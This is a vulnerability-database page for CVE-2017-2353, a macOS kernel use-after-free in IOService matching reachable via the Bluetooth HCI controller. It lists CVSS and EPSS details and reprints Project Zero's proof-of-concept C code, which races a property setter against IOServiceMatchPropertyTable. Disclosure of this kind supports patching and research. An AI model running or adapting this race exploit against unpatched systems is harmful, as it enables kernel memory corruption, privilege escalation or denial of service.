CVE-2017-2353 : Detail

CVE-2017-2353

7.8
/
High
Memory Corruption
1.29%V4
Local
2017-02-20
07h35 +00:00
2017-09-01
07h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

An issue was discovered in certain Apple products. macOS before 10.12.3 is affected. The issue involves the "Bluetooth" component. It allows attackers to execute arbitrary code in a privileged context or cause a denial of service (use-after-free) via a crafted app.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-416 Use After Free
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.8 HIGH CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 41164

Publication date : 2017-01-25 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=973 IOService::matchPassive is called when trying to match a request dictionary against a candidate IOService. We can call this function on a controlled IOService with a controlled matching table OSDictionary via the io_service_match_property_table_* kernel MIG APIs wrapped by IOServiceMatchPropertyTable. If a candidate IOService does match against the dictionary but the dictionary also specifies an "IOParentMatch" key then we reach the following code (in IOService.cpp:) OSNumber* alternateRegistryID = OSDynamicCast(OSNumber, where->getProperty(kIOServiceLegacyMatchingRegistryIDKey)); if(alternateRegistryID != NULL) { if(aliasServiceRegIds == NULL) { aliasServiceRegIds = OSArray::withCapacity(sizeof(alternateRegistryID)); } aliasServiceRegIds->setObject(alternateRegistryID); } ("where" is the controlled IOService.) getProperty is an IORegistryEntry API which directly calls the getObject method of the OSDictionary holding the entry's properties. getProperty, unlike copyProperty, doesn't take a reference on the value of the property which means that there is a short window between where->getProperty(kIOServiceLegacyMatchingRegistryIDKey) and aliasServiceRegIds->setObject(alternateRegistryID) when if another thread sets a new value for the IOService's "IOServiceLegacyMatchingRegistryID" registry property the alternateRegistryID OSNumber can be freed. This race condition can be won quite easily and can lead to a virtual call being performed on a free'd object. On MacOS IOBluetoothHCIController is one of a number of IOServices which allow an unprivileged user to set the IOServiceLegacyMatchingRegistryID property. One approach to fixing this bug would be to call copyProperty instead and drop the ref on the property after adding it to the aliasServiceRegIds array. Tested on MacOS Sierra 10.12.1 (16B2555) */ // ianbeer // clang -o iorace iorace.c -framework IOKit -framework CoreFoundation && sync #if 0 MacOS/iOS kernel use after free due to failure to take reference in IOService::matchPassive IOService::matchPassive is called when trying to match a request dictionary against a candidate IOService. We can call this function on a controlled IOService with a controlled matching table OSDictionary via the io_service_match_property_table_* kernel MIG APIs wrapped by IOServiceMatchPropertyTable. If a candidate IOService does match against the dictionary but the dictionary also specifies an "IOParentMatch" key then we reach the following code (in IOService.cpp:) OSNumber* alternateRegistryID = OSDynamicCast(OSNumber, where->getProperty(kIOServiceLegacyMatchingRegistryIDKey)); if(alternateRegistryID != NULL) { if(aliasServiceRegIds == NULL) { aliasServiceRegIds = OSArray::withCapacity(sizeof(alternateRegistryID)); } aliasServiceRegIds->setObject(alternateRegistryID); } ("where" is the controlled IOService.) getProperty is an IORegistryEntry API which directly calls the getObject method of the OSDictionary holding the entry's properties. getProperty, unlike copyProperty, doesn't take a reference on the value of the property which means that there is a short window between where->getProperty(kIOServiceLegacyMatchingRegistryIDKey) and aliasServiceRegIds->setObject(alternateRegistryID) when if another thread sets a new value for the IOService's "IOServiceLegacyMatchingRegistryID" registry property the alternateRegistryID OSNumber can be freed. This race condition can be won quite easily and can lead to a virtual call being performed on a free'd object. On MacOS IOBluetoothHCIController is one of a number of IOServices which allow an unprivileged user to set the IOServiceLegacyMatchingRegistryID property. One approach to fixing this bug would be to call copyProperty instead and drop the ref on the property after adding it to the aliasServiceRegIds array. Tested on MacOS Sierra 10.12.1 (16B2555) #endif #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <pthread.h> #include <mach/mach.h> #include <mach/mach_vm.h> #include <IOKit/IOKitLib.h> #include <CoreFoundation/CoreFoundation.h> io_service_t service = MACH_PORT_NULL; void* setter(void* arg) { char number = 1; CFNumberRef num = CFNumberCreate(kCFAllocatorDefault, kCFNumberCharType, &number); while(1) { kern_return_t err; err = IORegistryEntrySetCFProperty( service, CFSTR("IOServiceLegacyMatchingRegistryID"), num); if (err != KERN_SUCCESS){ printf("setProperty failed\n"); return NULL; } } return NULL; } int main(){ kern_return_t err; service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController")); if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 0; } printf("got service: %x\n", service); pthread_t thread; pthread_create(&thread, NULL, setter, NULL); CFMutableDictionaryRef dict2; dict2 = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); CFDictionarySetValue(dict2, CFSTR("key"), CFSTR("value")); CFMutableDictionaryRef dict; dict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); CFDictionarySetValue(dict, CFSTR("IOProviderClass"), CFSTR("IOService")); CFDictionarySetValue(dict, CFSTR("IOResourceMatch"), CFSTR("IOBSD")); CFDictionarySetValue(dict, CFSTR("IOParentMatch"), dict2); while(1) { boolean_t match = 0; err = IOServiceMatchPropertyTable(service, dict, &match); if (err != KERN_SUCCESS){ printf("no matches\n"); } } pthread_join(thread, NULL); return 0; }

Products Mentioned

Configuraton 0

Apple>>Mac_os_x >> Version To (including) 10.12.2

References

https://www.exploit-db.com/exploits/41164/
Tags : exploit, x_refsource_EXPLOIT-DB
https://support.apple.com/HT207483
Tags : x_refsource_CONFIRM
http://www.securitytracker.com/id/1037671
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/95723
Tags : vdb-entry, x_refsource_BID